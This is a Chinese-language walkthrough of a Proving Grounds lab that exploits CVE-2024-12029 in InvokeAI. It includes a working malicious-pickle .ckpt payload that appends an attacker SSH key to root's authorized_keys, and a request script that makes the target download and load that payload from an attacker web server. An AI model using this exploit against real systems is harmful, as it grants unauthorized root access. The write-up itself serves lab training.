InvokeAI RCE漏洞利用与远程代码执行实战分析

4 阅读1分钟

InvokeAI_RCE | PG Walkthrough

在谷歌搜索“invokeai_rce”,你会很快找到CVE-2024-12029。事实证明,“huntr”是一个新的AI/ML CVE网站。

huntr - 世界上第一个AI/ML漏洞赏金平台

基本上按照此链接中的POC(概念验证)进行操作。解决这个靶机的关键技巧是找到这个链接。

靶机描述建议创建一个密钥,并使用payload将id_rsa.pub上传到root的授权密钥文件中。

首先使用以下命令创建密钥: ssh-keygen

复制id_rsa.pub并将其用于ssh.py中的payload。

使用如上链接中POC演示的ssh.py来生成payload。该.ckpt文件将把公钥回显到目标机的root用户的authorized_keys文件中。

import pickle

class Payload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0mDlI9bbgZq0XYTKvG+jo/Q6/By7bxTP6VwRqs3sh1 root@kali" >> /root/.ssh/authorized_keys',))

def generate_payload():
    # 不是 .pkl
    with open('payload.ckpt', 'wb') as f:
        pickle.dump(Payload(), f)

generate_payload()

payload.ckpt文件所在位置设置一个Web服务器,并在exploit.py中引用它以执行payload(将攻击者的id_rsa.pub密钥粘贴到目标机的root授权密钥文件中)。

import requests

url = "http://192.168.159.218:9090/api/v2/models/install"
params = {
    "source": "http://192.168.45.227:8080/payload.ckpt",
    "inplace": "true"
}
response = requests.post(url, params=params, json={})
print(response.text)

确保给id_rsa文件必要的权限(chmod 600 id_rsa),然后使用通过ssh-keygen生成的id_rsa密钥以root身份进行SSH连接。 CSD0tFqvECLokhw9aBeRqlyK5KMpaklojJBUegXcB9J+/111yYeGSJSiNtXQwSVQ0pW+HI2mbOG2VnyH8b7ErlJ21+8esbpf+7cQT5JJbS3PF4agwWGfdflw3pgF9XrX